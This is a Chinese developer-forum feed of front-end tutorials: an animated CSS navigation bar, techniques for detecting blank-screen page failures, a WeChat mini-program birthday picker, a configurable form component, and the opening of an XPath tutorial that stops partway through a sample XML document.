这里呢针对了span元素和i元素进行了设置,通过span元素蒋i元素中的矢量图标设置到水平垂直都居中的位置,并且设置了圆角,加入了动画和动画延迟,针对i元素将文字大小设置了,并且在html中加入了对应图标的文字效果,并且为例美观在每个li元素中都添加了一个选中时候的不同的颜色,使用了变量--clr用于获取选中效果 行内样式是一种直接在HTML元素上指定样式的方法,在这种情况下,你使用 style 属性将 --clr 变量设为不同色



  .nav ul li span{
/* 进行定位,使之通过span元素带动矢量图标进行水平垂直到中心位置 */
position: relative;
display: flex;
justify-content: center;
align-items: center;
width: 55px;
height: 55px;
border-radius: 50%;
/* 设置鼠标移入的样式 */
cursor: pointer;
/* 设置动画过度事件以及延迟 */
transition: 0.5s;
transition-delay: 0s;
}
.nav ul li span i{
color: #222327;
font-size: 1.5em;
}

<body>
<!-- 目前就一个简单的nav,推荐大家语义化来写 -->
<div class="nav">
<ul>
<!-- 设置active效果,用于获取选中效果 用于获取选中效果 行内样式是一种直接在HTML元素上指定样式的方法,在这种情况下,你使用 style 属性将 --clr 变量设为不同色 -->
<li class="active" style="--clr:#f44336"><span><i class="iconfont icon-shouye"></i>首页</span></li>
<li style="--clr:#0fc70f"> <span><i class="iconfont icon-liuyan"></i>留言</span></li>
<li style="--clr:#2196f3"> <span><i class="iconfont icon-code"></i>代码</span></li>
<li style="--clr:#b145e9"> <span><i class="iconfont icon-box-empty"></i>盒子</span></li>
<li style="--clr:#ffa111"> <span><i class="iconfont icon-gitee-fill-round"></i>gitee</span></li>
<div class="indicator"></div>
</ul>
</div>
</body>

image.png


下面设置选中时候的样式,在这里呢针对span元素设置了选中的时候会向上位移到这个地方,并且在矢量图标的地方设置了开始选中的时候将文字颜色改为和背景颜色一样的颜色,这样当点击的那一刻,图标会出现消失的情况,当超出导航栏到黑色部分的时候,文字就会显示出来,在后面,设置了一个半圆的背景图,当背景图位移到文字的位置的时候,矢量文字就会显示出来


/* 下面是针对选中效果做的样式处理 */
.nav ul li.active span {
/* 设置了一开始的背景颜色,后面会被取代,设置了点击的时候会向上移动 */
background: orange;
transform: translateY(-27px);
transition-delay: 0.25s;
}

.nav ul li.active span i {
/* 设置了点击时候矢量图标的文字颜色 */
color: #fff;
}


image.png


设置模糊效果



这里呢加入了一个模糊的效果,配合后面的选中的时候图标颜色显示会形成一个类似于色彩过度的效果,并且将i元素上面设置的颜色显示出来



    .nav ul li span::before {
content: '';
position: absolute;
top: 10px;
left: 0;
width: 100%;
height: 100%;
background: orange;
border-radius: 50%;
filter: blur(40px);
opacity: 0;
transition: 0.5s;
transition-delay: 0s;
}
.nav ul li span::before {
opacity: 0.5;
transition-delay: 0.25s;
}
/* 这里将i元素设置的颜色显示出来 这两个样式块中都使用了 background: var(--clr); 属性,可以将背景颜色设置为clr 变量所表示的值。这种使用自定义变量的方式,可以在代码中统一定义颜色值,以便在需要时进行统一更改。*/
.nav ul li.active span {
background: var(--clr);
}

.nav ul li span::before {
background: var(--clr);
}


image.png


接下来设置背景圆



这里呢设置了背后的那个向下突兀的圆,其原理是通过位置的调整和颜色的与背景颜色的一致加上zindex的图册优先级的显示,构成了这么一个背景半圆形图



.indicator {
/* 这里进行了定位,并且设置了背景园的位置,同时将圆的背景颜色与背景颜色设为一致,会形成那种向下突兀的圆形,并且加入了动画 ps:这个过度的小圆弧我是真设置不好,凑合看吧,大佬们有能力的可以试试设置一下*/
position: absolute;
top: -35px;
width: 70.5px;
height: 70px;
background: #222327;
border-radius: 50%;
z-index: 1;
transition: 0.5s;
}
/* 设置左边半弧 */
.indicator::before {
content: '';
position: absolute;
top: 16px;
left: -34px;
width: 10px;
height: 5px;
background: transparent;
border-radius: 50%;
box-shadow: 20.5px 19px 0 4px #fff;
}
/* 设置右边半弧 */
.indicator::after {
content: '';
position: absolute;
top: 16px;
left: 54px;
width: 10px;
height: 5px;
background: transparent;
border-radius: 50%;
box-shadow: 20px 19px 0 4px #fff;
}

image.png


****动画设置,配合js形成点击的时候,active会移动到点击的目标身上



这里呢使用了nth-child选择器选中对应的i元素,注意,这里设置的平移效果是由clac函数计算而来,选中其中一个i元素,并且当且仅当具有active类之后的所有兄弟中的.indicator类元素,有一个指示器元素(.indicator)。指示器的位置会根据活动项目(具有active类的<li>元素)的位置进行调整。
根据活动项目的位置设置指示器的水平平移距离,实现一个在导航菜单中显示当前选中项目的效果。指示器的位置和平移距离是根据活动项目的索引和固定的长度单位(70px)进行计算的。



/*/* nth-child()选中低某个i元素,然后配合js完成背景圆的移动 
在CSS中,calc() 是一个用于执行计算的函数。它允许在CSS属性值中使用数学表达式。
这种计算函数通常用于允许动态计算和调整元素的尺寸、间距或位置。在 calc() 函数中,可以使用不同的运算符(如加号 +、减号 -、乘号 *、除号 /)来结合数值和单位进行计算。
它可以包含其他长度单位(如像素 px、百分比 % 等),并且可以与其他CSS属性值和变量一起使用。

当一个 `<li>` 元素具有 `active` 类时,对应的 `.indicator` 元素会相对于活动项目的位置水平平移一个特定的距离。每个 `.indicator` 元素的平移距离相对于其前面的活动项目索引和一个固定的长度单位(`70px`)计算得出。

*/
*/

.nav li:nth-child(1).active~.indicator{
transform: translateX(calc(70px*0));
}

.nav li:nth-child(2).active~.indicator {
transform: translateX(calc(70px*1));
}

.nav li:nth-child(3).active~.indicator {
transform: translateX(calc(70px*2));
}

.nav li:nth-child(4).active~.indicator {
transform: translateX(calc(70px*3));
}

.nav li:nth-child(5).active~.indicator {
transform: translateX(calc(70px*4));
}


这里配合js代码,通过foreach为点击的li或者为所有的li进行添加或者移入active样式


<script>
//通过 `lis.forEach(li => li.addEventListener('click', function () {...}))` 遍历 `lis` 数组中的每个元素,并为每个元素都添加一个 ‘click’ 事件监听器。
//在每次点击事件中,使用 `lis.forEach(item => {...})` 遍历 `lis` 数组中的每个元素,将它们的 `active` 类都移除,然后在当前被点击的元素上添加 `active` 类,
const lis = document.querySelectorAll('.nav li')
lis.forEach(li => li.addEventListener('click', function () {
lis.forEach(item => {
item.classList.remove('active');
this.classList.add('active');
})
}))
</script>

image.png


效果展示


ezgif.com-video-to-gif.gif


总结


这里配合js使用的动画是值得我学习的,通过js点击赋予不同的liactive样式,又根据active所在的li元素经过计算对.indicator元素进行平移,使之完成这个动画效果


已上传至gitee
gitee.com/wu-canhua/b…


作者:如意呀
来源:juejin.cn/post/7262334378759405605
收起阅读 »

代码刚上线,页面就白屏了

web
前言 白屏一直是一个前端开发谈之变色的问题。 “什么?我的页面刚上线就白屏了,是报错了,还是兼容性问题,还是性能问题,多刷新几次就好了,用户网络不行吧。” 简单来说,白屏就是用户打开前端页面什么有没有。 这是一个很重要的质量指标。 那么我们如何监控页面白屏异常...
继续阅读 »

前言


白屏一直是一个前端开发谈之变色的问题。


“什么?我的页面刚上线就白屏了,是报错了,还是兼容性问题,还是性能问题,多刷新几次就好了,用户网络不行吧。”


简单来说,白屏就是用户打开前端页面什么有没有。


这是一个很重要的质量指标。


那么我们如何监控页面白屏异常呢?


白屏异常检测主要分为两个部分,一个是如何检测,一个是什么时候检测,


检测方案


首先明确一点,页面打开慢,白屏时间长,不等于白屏;页面就是白色图,不等于白屏。


关键节点是否渲染


在当前SPA页面都是挂在根节点之下,通过查看关键dom是否渲染,如查看dom的高度heigt属性是否存在,如果存在,则证明关键dom已经渲染,页面不是白屏,反之,则判断页面是白屏


实现思路


在上面的代码中,我们首先使用querySelectorAll方法选中了具有 .critical-node类名的关键节点。然后,通过checkNodesRendered函数检测这些节点是否已经渲染,如果有任何一个节点的高度为0,即判断为未渲染,将返回false。最后,在页面加载完成后调用checkNodesRendered函数来判断页面状态。


// 获取关键节点
const criticalNodes = Array.from(document.querySelectorAll('.critical-node'));

// 检测节点渲染
function checkNodesRendered() {
let allNodesRendered = true;

for (const node of criticalNodes) {
if (node.offsetHeight === 0 || node.clientHeight === 0) {
allNodesRendered = false;
break;
}
}

return allNodesRendered;
}

// 判断页面状态
if (checkNodesRendered()) {
// 关键节点已经渲染,页面不是白屏
console.log("页面不是白屏");
// 可以进行后续操作
} else {
// 关键节点未渲染,页面是白屏
console.log("页面是白屏");
// 可以进行相应处理
}

// 在页面加载完成后调用检测函数
window.addEventListener('load', checkNodesRendered);

优点


1.简单易懂:代码相对简洁,易于理解和实现。


2.快速检测:代码通过检测关键节点的渲染状态来快速判断页面是否为白屏,方便进行后续处理。


3.可扩展性:示例代码可以根据实际需求进行修改和扩展,例如添加其他检测条件或特定行为。


缺点



  1. 局限性:示例代码仅仅关注关键节点是否渲染,但并不能涵盖所有可能的页面白屏情况。

  2. 不适用于异步加载:如果页面中的关键节点是通过异步加载或延迟加载的方式渲染的,示例代码可能无法正确判断页面状态。

  3. 可能的误判:某些情况下,即使关键节点已经渲染,它们的高度可能仍为0。这可能导致误判,将页面错误地视为白屏。


观察FP/FCP


PerformanceObserver观察FP/FCP指标,出现该指标判断为非白屏


代码实现


const observer = new PerformanceObserver((list) => {
const entries = list.getEntries();
entries.forEach(entry => {
if (entry.name === 'first-paint') {
// 处理FP指标
console.log('First Paint:', entry.startTime);
// 进行白屏判断
if (/* 根据需求判断是否为白屏 */) {
console.log('白屏!');
}
} else if (entry.name === 'first-contentful-paint') {
// 处理FCP指标
console.log('First Contentful Paint:', entry.startTime);
// 进行白屏判断
if (/* 根据需求判断是否为白屏 */) {
console.log('白屏!');
}
}
});
});

observer.observe({ entryTypes: ['paint'] });

优点



  1. 通过观察FP和FCP指标,可以精确地确定页面加载过程中是否出现白屏,以及白屏持续的时间。这对于优化网页加载速度和用户体验非常有帮助。

  2. PerformanceObserver提供了一个直接的、标准化的接口来监测性能指标,使开发者能够更方便地收集和分析网页性能数据。


缺点



  1. 依赖于浏览器对PerformanceObserver的支持,在某些旧版本或不常见的浏览器中可能无法正常工作。

  2. 只通过FP和FCP来判断白屏可能不够全面,因为白屏可能涉及其他因素,如网络延迟、脚本执行等。因此,需要结合其他性能指标和实际场景来综合评估页面的加载情况。


基于视窗坐标采集法


基于视窗坐标采集元素,如果所有元素是包裹元素,则判断是白屏


1.页面中间取17个采样点(如下图),利用 elementsFromPoint api 获取该坐标点下的 HTML 元素


2、定义属于容器元素的集合,如 ['html', 'body', '#app', '#root']


3、判断17这个采样点是否在该容器集合中。说白了,就是判断采样点有没有内容;如果没有内容,该点的 dom 元素还是容器元素,若17个采样点都没有内容则算作白屏



代码实现


const samplePoints = [
{ x: 100, y: 100 }, // 示例采样点1
{ x: 200, y: 200 }, // 示例采样点2
// 添加更多采样点...
];

const containerElements = ['html', 'body', '#app', '#root']; // 定义容器元素集合

function hasContentAtSamplePoints() {
for (const point of samplePoints) {
const elements = document.elementsFromPoint(point.x, point.y);
const hasContent = elements.some(element => !isContainerElement(element));
if (!hasContent) {
return false; // 该采样点没有内容
}
}
return true; // 所有采样点都有内容
}

function isContainerElement(element) {
// 判断元素是否属于容器元素集合的逻辑,例如根据元素的标签名或选择器进行判断
return containerElements.includes(element.tagName.toLowerCase()) || containerElements.includes(element.id);
}

// 调用函数判断是否存在白屏状态
const isWhiteScreen = !hasContentAtSamplePoints();

if (isWhiteScreen) {
console.log('白屏状态');
} else {
console.log('非白屏状态');
}

优点



  1. 快速确定白屏状态:通过采样点的方式,可以快速检查页面中是否存在白屏状态,而无需遍历整个页面。

  2. 简单实现:实现起来相对简单,只需要使用 elementsFromPoint API 获取元素并进行判断。


缺点



  1. 采样点数量和位置选择:在示例中,我们选择了固定数量和位置的采样点,但这可能并不能涵盖所有情况。正确选择采样点的数量和位置是必要的,以保证准确性和可靠性。

  2. 容器元素定义的准确性:需要准确定义容器元素集合,以确保正确判断哪些元素属于容器元素。容器元素集合的定义可能会因页面结构变化而需要定期更新维护。

  3. 采样点是否具有代表性:通过采样点判断白屏状态,需要确保采样点能够代表页面的关键区域和内容。如果关键区域未覆盖到,或者采样点无法代表页面的典型情况,可能会导致误判。


图像检测


基于图像像素色值对比方案,白色大于阈值判断为白屏


代码实现


function isWhiteScreen(imageData) {
const threshold = 200;
const pixels = imageData.data;
const length = pixels.length;

for (let i = 0; i < length; i += 4) {
const red = pixels[i];
const green = pixels[i + 1];
const blue = pixels[i + 2];
const alpha = pixels[i + 3];

// 将 RGB 转换为灰度值
const grayscale = (red + green + blue) / 3;

// 如果灰度值低于阈值,则返回 false
if (grayscale < threshold) {
return false;
}
}

// 如果所有像素的灰度值都高于阈值,则返回 true
return true;
}

// 获取页面截图,可以通过其他方式获取 imageData
const imageData = ...;

// 调用函数判断页面是否为白屏
const isWhite = isWhiteScreen(imageData);

if (isWhite) {
console.log("页面出现白屏");
} else {
console.log("页面正常");
}

优点



  1. 具有广泛适用性:该方法可以适用于各种类型的网页和应用程序,不受页面结构和布局的限制。

  2. 准确性较高:通过对页面截图进行像素色值对比,可以较为准确地判断页面是否呈现白色,避免了部分误判的可能性。


缺点



  1. 截图准确性:该方法的准确性依赖于页面截图的质量和准确性。如果截图质量较低或者不准确,则可能导致判断结果不准确。

  2. 阈值选择:选择合适的阈值是关键。过高的阈值可能导致漏判,而过低的阈值可能导致误判。阈值的选择应该根据具体情况和实际测试进行调整。

  3. 页面动态性:对于动态页面或存在异步加载内容的页面,截图时可能无法捕获到完全加载的状态,从而导致判断结果不准确。

  4. 效率问题:对整个页面进行截图并处理像素色值对比可能会消耗较多的计算资源和时间,特别是对于复杂的页面或者移动端设备


检测时机


其实检测方案并不难,难的是什么时候检测。


这里介绍三种方案。


延迟检测


通过设定延迟时间(如5s),在页面加载后的5s后开始检测


代码实现


// 设置延迟时间(单位:毫秒)
const delay = 5000;

// 在延迟时间后执行检测
setTimeout(() => {
// 在这里编写检测的代码,例如调用 isWhiteScreen() 函数进行白屏检测
// 调用函数判断页面是否为白屏
const isWhite = isWhiteScreen();

if (isWhite) {
console.log("页面在加载后的5秒后出现白屏");
} else {
console.log("页面正常");
}
}, delay);

缺点



  1. 固定延迟时间:使用固定的延迟时间可能不适用于所有情况。页面加载时间的变化、网络速度的差异等因素可能导致延迟时间不准确,有可能延迟过长或过短。

  2. 不适用于快速加载的页面:如果您的页面加载速度很快,在延迟时间之内已经完成加载并呈现内容,延迟检测可能会错过白屏状态。

  3. 无法应对动态内容:如果页面内容是动态加载的,延迟检测可能在页面加载完成后立即触发,此时页面尚未呈现完全。


轮询检测


既然延迟检测时间不好定,那我们就去每秒都轮询页面,判断是否白屏。


代码实现


// 设置轮询时间间隔(毫秒)
const pollInterval = 1000;

// 启动轮询检测
function startPolling() {
// 设置一个定期执行的定时器
setInterval(isWhiteScreen, pollInterval);
}

// 页面加载完成后开始轮询检测
window.addEventListener('load', startPolling);

缺点



  1. 资源消耗:频繁的轮询检测可能会增加浏览器的资源消耗,包括 CPU 和内存。这可能对性能产生一定的影响,特别是在较低性能的设备或者页面加载较慢的情况下。

  2. 不准确性:轮询检测往往基于时间间隔来判断页面加载状态,而不是依赖于实际的视觉变化。这可能导致在某些情况下误判页面加载完成,或者延迟较长时间才判断出白屏状态。

  3. 反应迟钝:由于轮询需要等待一定的时间间隔才能进行下一次检测,因此可能会导致对白屏状态的响应有一定的延迟。这对于需要快速捕捉白屏问题的场景可能不太理想。


错误监听


这是一种由果索因的方案


发生白屏的原因无非以下几种



  1. 脚本错误:当页面中的 JavaScript 代码存在错误时,可能导致页面渲染中断,进而出现白屏情况。常见的错误包括语法错误、逻辑错误、资源加载错误等。

  2. 网络问题:如果页面所需的资源(如样式表、脚本、图片等)无法正确加载,或者网络连接不稳定,可能导致页面无法正确渲染,最终呈现为白屏。这种情况下,可能还会出现超时错误或网络请求失败的错误。

  3. HTML结构错误

  4. 样式问题

  5. 见兼容性问题。


其中前两个原因占绝大多数,那么我们去监听以上错误,做白屏处理就好了。


优点:



  1. 简单易实现:通过监听错误事件,可以比较简单地实现白屏检测逻辑。

  2. 可靠性较高:当页面发生未捕获的错误时,通常表明页面加载或解析出现了问题,可能导致白屏情况。


缺点:



  1. 性能开销:错误处理函数可能会对页面性能产生一定的影响,尤其是在页面发生多个错误时。因此,需要注意错误处理逻辑的优化,避免性能问题。


总结


没有最完美的方案,只有最合适的方案。


白屏方案的检测无非就是检测时机+判断方案做排列组合,找到那个投入产出比最合适的方案。


作者:虎妞先生
来源:juejin.cn/post/7302367564838567962
收起阅读 »

手搓微信小程序生日滑动选择😉

web
简单说一下功能点 微信小程序设置用户的生日,直接使用日历有些不太友好,所以选择手搓一个类似某音和某红书差不多的样式。 在实现该功能还是有一些小的注意点的,最主要的就是-->日期选择需要3级联动,因为要获取当前年份有多少月份、以及当前年份的月份有多少天。总...
继续阅读 »

简单说一下功能点


微信小程序设置用户的生日,直接使用日历有些不太友好,所以选择手搓一个类似某音和某红书差不多的样式。


在实现该功能还是有一些小的注意点的,最主要的就是-->日期选择需要3级联动,因为要获取当前年份有多少月份、以及当前年份的月份有多少天。总不能今天是2023年12月3号,但滑动选项里面有明天甚至以后的日期吧。


使用的是VantWeapp组件实现的滑动效果,当然,使用其他组件的一样,结尾附源代码。


功能样式图


日期选择默认的打开样式


image.png


在选择最新日期时候


image.png


除了选择天数不会去重新拉取日期外,当滑动触发年和月的改变,都需要去拉取最新的日期。若拉取的日期的天数或月份不够上一次选择的时候,默认会选择最后一个日期等等小细节吧。


主要代码功能


自己封装的一个时间工具


/**
* 获取有多少年份[默认截至1949]
* @param actYear 截至到多少年份
* @returns 年份数组
*/

export const getYear = (actYear?: number): Array<number> => {
actYear = actYear || 1949;
const date = new Date();
if (actYear >= date.getFullYear()) return [1949];
let yearArr = [];
for (let i = actYear; i <= date.getFullYear(); i++) yearArr.push(i);
return yearArr;
};

/**
* 获取当前年份有多少月份
* @param year 年份
* @returns 月份数组
*/

export const getMonthToYear = (year: number): Array<number> => {
const date = new Date();
const nowYear = date.getFullYear();
if (year > nowYear) return [1];
let monthArr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12];
if (year == nowYear) {
monthArr = [];
for (let i = 1; i <= date.getMonth() + 1; i++) monthArr.push(i);
}
return monthArr;
};

/**
* 获取当前年的月份有多少天
* @param year 年份
* @param month 月份
* @returns 天数数组
*/

export const getDayToMoYe = (year: number, month: number): Array<number> => {
const date = new Date();
const nowYear = date.getFullYear();
const nowMonth = date.getMonth() + 1;
if (year > nowYear) return [1];
let monthArr = getMonthToYear(year);
if (month > monthArr.length) return [1];
let dayArr = [];
if (year == nowYear && month == nowMonth) {
for (let i = 1; i <= date.getDate(); i++) dayArr.push(i);
return dayArr;
}
for (let i = 1; i <= new Date(year, month, 0).getDate(); i++) dayArr.push(i);
return dayArr;
};

组件代码


特别说明:手动删掉了不重要的代码,请勿直接复制


<template>
<van-popup
class="pd-10"
:show="showDateChoose"
round
position="bottom"
@close="showDateChoose = false">

<view class="mt-10 flex-center-zy pd-zy-15">
<view class="ft-color-hui" @click="showDateChoose = false">取消</view>
<view>选择你的生日</view>
<view class="ft-big-4 ft-color-red" @click="saveDate">保存</view>
</view>
<van-picker
:columns="initDate"
@change="onDateChange"
:visible-item-count="3"
:loading="dateLoding" />

</van-popup>
</template>

<script setup lang="ts">
import { ref, onMounted, reactive } from 'vue';
import FixVue from '@/common/pages/fix_vue/FixVue';
import { getYear, getMonthToYear, getDayToMoYe } from '@/utils/TimeUtil';

//展示日期选择框和日期加载
let showDateChoose = ref(false);
let dateLoding = ref(true);

//打开日期选择
const openDate = () => {
dateLoding.value = true;
showDateChoose.value = true;
//测试数据,后需要修改为动态获取的用户生日,若用户生日没有则给默认值
initDateMethod('2001-5-10');
dateLoding.value = false;
};

//保存日期
let newDate = ref('');
const saveDate = () => {
if (!newDate.value) return;
//与原本日期进行对比若不同,调用修改生日的接口。。。
};

//选择新时间
const onDateChange = (e: any) => {
const { picker, index } = e.detail;
if (index == 2) return (newDate.value = picker.getValues());
const upDate = picker.getIndexes();
const year = initDate.value[0].values[upDate[0]];
const month = initDate.value[1].values[upDate[1]];
const day = initDate.value[2].values[upDate[2]];
initDate.value = [];
const result = initDateMethod(year + '-' + month + '-' + day);
newDate.value = picker.getValues();
setTimeout(() => {
picker.setColumnIndex(0, result[0]);
picker.setColumnIndex(1, result[1]);
picker.setColumnIndex(2, result[2]);
}, 10);
};

//初始化年份
let initDate = ref([]);
const initDateMethod = (date: string) => {
let dateSplit = date.split('-');
const year = getYear();
const month = getMonthToYear(+dateSplit[0]);
const day = getDayToMoYe(+dateSplit[0], +dateSplit[1]);
let yearIndex = year.indexOf(+dateSplit[0]) == -1 ? year.length - 1 : year.indexOf(+dateSplit[0]);
initDate.value.push({
values: year,
defaultIndex: yearIndex
});
let monthIndex =
month.indexOf(+dateSplit[1]) == -1 ? month.length - 1 : month.indexOf(+dateSplit[1]);
initDate.value.push({
values: month,
defaultIndex: monthIndex
});
let dayIndex = day.indexOf(+dateSplit[2]) == -1 ? day.length - 1 : day.indexOf(+dateSplit[2]);
initDate.value.push({
values: day,
defaultIndex: dayIndex
});
return [yearIndex, monthIndex, dayIndex];
};
</script>

//主要的css样式,主要添加日期后面的一些提示字,如年、月、日
<style lang="less" scoped>
::v-deep.van-picker-column__item--selected {
color: black;
}
::v-deep[data-index='0'] {
.van-picker-column__item--selected::after {
content: ' 年';
}
}
::v-deep[data-index='1'] {
.van-picker-column__item--selected::after {
content: ' 月';
}
}
::v-deep[data-index='2'] {
.van-picker-column__item--selected::after {
content: ' 日';
}
}
::v-deep.van-picker {
height: 150px !important;
margin-top: 20px;
}
</style>


结束语


至此功能就完结了,接下来已编写完成仿某信的聊天样式,如自动根据输入框弹起高度修改聊天内容触底,以及动态调整输入框的高度和最大限制等等。若有需求的小伙伴,可以聊聊,我会分享个人的想法以及做法,若需求大会写一篇文章以及源码分享。


作者:你浩
来源:juejin.cn/post/7307587537295851535
收起阅读 »

微信小程序动态生成表单来啦!你再也不需要手写表单了!

web
dc-vant-form 由于我们在小程序上涉及到数据采集业务,需要经常使用表单,微信小程序的表单使用起来非常麻烦,数据和表单是分离的,每个输入框都需要做数据处理才能实现响应式数据,所以我开发了dc-vant-form,针对原生微信小程序+vant组件构建的自...
继续阅读 »

dc-vant-form


由于我们在小程序上涉及到数据采集业务,需要经常使用表单,微信小程序的表单使用起来非常麻烦,数据和表单是分离的,每个输入框都需要做数据处理才能实现响应式数据,所以我开发了dc-vant-form,针对原生微信小程序+vant组件构建的自定义表单,开发者可以通过表单配置项来快速生成表单。


1、🚩解决微信小程序表单双向绑定问题


2、👍解决微信小程序下拉弹框值与表单绑定问题


3、✨配置项自动生成表单


4、🎉表单详情通过配置项控制详情回显


5、🚀操作表单单项数据修改


6、🔥提供9种输入组件覆盖表单的大部分业务场景


说明


1、在使用前需要保证项目中安装了vant


2、在使用表单之前,你需要准备表单渲染的数据,以及当前用作回显的详情数据。


3、该表单提供了9种输入组件,分别为:文本、小数、整数、级联选择器、文本域、数字间隔输入器、标准时间选择器、年月日时间选择器、年月时间选择器。


4、初始化时配置参数必传,表单可传可不传,若只传配置参数,我们会根据配置参数自动生成表单。


5、表单提供编辑回显、单条数据传入回显。


6、通过getInit函数初始化表单,通过submit函数获取表单结果。




开始


npm i dc-vant-form

自定义表单示例:


初始化


在初始化前,需要先定义初始化配置,配置项如下:


key说明
label表单label
module表单绑定的数据key
type表单组件类型,值对应:1文本、2小数、3整数、4级联选择器、5文本域、6时间选择器、7数字间隔输入器
isRequired是否星号校验,值对应:true、false
options表单下拉菜单项,值对应数组对象:[{label: '红色',value: 'red'}]
dateType时间选择器类型,默认标准时间选择器,值对应:datetime标准时间、date年月日、year-month年月

注意点


类型说明
type: 4必须配置options项,你可以给它默认值空数组[]
type: 6必须配置dateType项,你可以选择三种对应值:datetime、date、year-month
type: 7必须配置 beginModule、endModule,分别对应左侧、右侧输入框;type为7不需要配置module项

下面是示例:


"usingComponents": {
"dc-vant-form": "/miniprogram_npm/dc-vant-form/dc-vant-form/index"
}

页面:


<dc-vant-form id="dc-vant-form" />

配置项:


config: [
{
label: '详细地址',
module: 'address',
type: 1,
isRequired: true
},
{
label: '商品类型',
module: 'goodsType',
type: 4,
isRequired: true,
options: [
{
id: 1,
label: '电子产品',
value: 101
},
{
id: 2,
label: '儿童玩具',
value: 102
},
{
id: 3,
label: '服装饰品',
value: 103
}
]
},
{
label: '商品颜色',
module: 'goodsColor',
type: 4,
isRequired: true,
options: [
{
id: 1,
label: '红色',
value: 'red'
},
{
id: 2,
label: '青色',
value: 'cyan'
},
{
id: 3,
label: '绿色',
value: 'green'
}
]
},
{
label: '包装体积',
module: 'packingVolume',
type: 2,
isRequired: false
},
{
label: '商品重量',
module: 'goodsWeight',
type: 2,
isRequired: true
},
{
label: '商品结构',
module: 'goodsStructure',
type: 4,
isRequired: true,
options: [
{
id: 1,
label: '成品',
value: 2230
},
{
id: 2,
label: '组装',
value: 2231
}
]
},
{
label: '商品数量',
module: 'goodsNumber',
type: 3,
isRequired: false
},
{
label: '可购范围',
beginModule: 'beginLimit',
endModule: 'endLimit',
type: 7,
isRequired: false
},
{
label: '联系人',
module: 'contact',
type: 1,
isRequired: false
},
{
label: '创建时间',
module: 'createDate',
type: 6,
dateType: 'date',
isRequired: true
},
{
label: '标准时间',
module: 'createDate2',
type: 6,
dateType: 'datetime',
isRequired: true
},
{
label: '选区年月',
module: 'createDate3',
type: 6,
dateType: 'year-month',
isRequired: true
},
{
label: '备注',
module: 'remark',
type: 5,
isRequired: false
}
]

我们将上面的配置项传入init函数初始化表单


  // 数据初始化
init() {
let dom = this.selectComponent("#dc-vant-form");
dom.getInit(this.data.config)
},

onLoad(options) {
this.init();
},

image-20231118110736510




获取表单数据


我们通过submit函数获取表单数据


  // 提交
sure() {
let dom = this.selectComponent("#dc-vant-form");
console.log(dom.submit());
}

image-20231118112342663


image-20231118112407795




表单回显


在初始化时,可以传入表单详情,我们会根据配置项回显表单数据。


// 表单详情数据
form: {
address: '浙江省杭州市',
goodsType: 101,
goodsColor: 'red',
packingVolume: 10,
goodsWeight: 5,
goodsStructure: 2230,
goodsNumber: 100,
beginLimit: 1,
endLimit: 10,
contact: 'DCodes',
createDate: '2023-01-01',
createDate2: '2023-01-01 20:00:00',
createDate3: '2023-01',
remark: '这是一个动态的文本域'
}

init() {
let { config,form } = this.data;
let dom = this.selectComponent("#dc-vant-form");
dom.getInit(config, form)
},

onLoad(options) {
this.init();
},

image-20231118112138758




单项数据修改


我们提供onAccept函数,用于接收指定表单项的修改


onAccept接收三个参数,依次为:value、key、place


参数说明
value更改的值
key表单中对应的key
place如果是数字间隔修改器,需要传入place,分为两个固定参数:left、right,表示需要修改间隔输入框的左侧和右侧

bandicam 2023-11-16 16-14-16-944 00_00_00-00_00_30~1


// 修改某项
update() {
let dom = this.selectComponent("#dc-vant-form");
// 普通类型
// dom.onAccept('浙江省杭州市', 'address')

// 级联选择器-value为options中的key
// dom.onAccept(103, 'goodsType')

// 数字间隔输入器
// dom.onAccept(1, 'beginLimit', 'left')
// dom.onAccept(3, 'endLimit', 'right')
}



如果觉得该组件不错,欢迎点赞👍、收藏💖、转发✨哦~


作者:DCodes
来源:juejin.cn/post/7302359255331110947
收起阅读 »

学会XPath,轻松抓取网页数据

web
一、定义 XPath(XML Path Language)是一种用于在 XML 文档中定位和选择节点的语言。XPath的选择功能非常强大,可以通过简单的路径选择语法,选取文档中的任意节点或节点集。学会XPath,可以轻松抓取网页数据,提高数据获取效率。 二、X...
继续阅读 »

一、定义


XPath(XML Path Language)是一种用于在 XML 文档中定位和选择节点的语言。XPath的选择功能非常强大,可以通过简单的路径选择语法,选取文档中的任意节点或节点集。学会XPath,可以轻松抓取网页数据,提高数据获取效率。


二、XPath基础语法


节点(Nodes): XML 文档的基本构建块,可以是元素、属性、文本等。
路径表达式: 用于定位 XML 文档中的节点。路径表达式由一系列步骤组成,每个步骤用斜杠 / 分隔。


XPath的节点是指在XML或HTML文档中被选择的元素或属性。XPath中有7种类型的节点,包括元素节点、属性节点、文本节点、命名空间节点、处理指令节点、注释节点以及文档节点(或称为根节点)。


- 元素节点:表示XMLHTML文档中的元素。例如,在HTML文档中,<body>、<div>、<p>等都是元素节点。在XPath中,可以使用元素名称来选择元素节点,例如://div表示选择所有的<div>元素。

- 属性节点:表示XMLHTML文档中元素的属性。例如,在HTML文档中,元素的classidsrc等属性都是属性节点。在XPath中,可以使用@符号来选择属性节点,例如://img/@src表示选择所有<img>元素的src属性。

- 文本节点:表示XMLHTML文档中的文本内容。例如,在HTML文档中,<p>标签中的文本内容就是文本节点。在XPath中,可以使用text()函数来选择文本节点,例如://p/text()表示选择所有<p>元素中的文本内容。

- 命名空间节点:表示XML文档中的命名空间。命名空间是一种避免元素命名冲突的方法。在XPath中,可以使用namespace轴来选择命名空间节点,例如://namespace::*表示选择所有的命名空间节点。

- 处理指令节点:表示XML文档中的处理指令。处理指令是一种用来给处理器传递指令的机制。在XPath中,可以使用processing-instruction()函数来选择处理指令节点,例如://processing-instruction('xml-stylesheet')表示选择所有的xml-stylesheet处理指令节点。

- 注释节点:表示XMLHTML文档中的注释。注释是一种用来添加说明和备注的机制。在XPath中,可以使用comment()函数来选择注释节点,例如://comment()表示选择所有的注释节点。

- 文档节点:表示整个XMLHTML文档。文档节点也被称为根节点。在XPath中,可以使用/符号来选择文档节点,例如:/表示选择整个文档节点。

本文使用XML示例如下


<bookstore>
<book category='fiction'>
<title>活着</title>
<author>余华</author>
<press>作家出版社</press>
<date>2012-8-1</date>
<page>191</page>
<price>20.00</price>
<staple>平装</staple>
<series>余华作品(2012版)</series>
<isbn>9787506365437</isbn>
</book>
<book category='non-fiction'>
<title>撒哈拉的故事</title>
<author>三毛</author>
<press>哈尔滨出版社</press>
<date>2003-8</date>
<page>217</page>
<price>15.80</price>
<staple>平装</staple>
<series>三毛全集(华文天下2003版)</series>
<isbn>9787806398791</isbn>
</book>
<book category='non-fiction'>
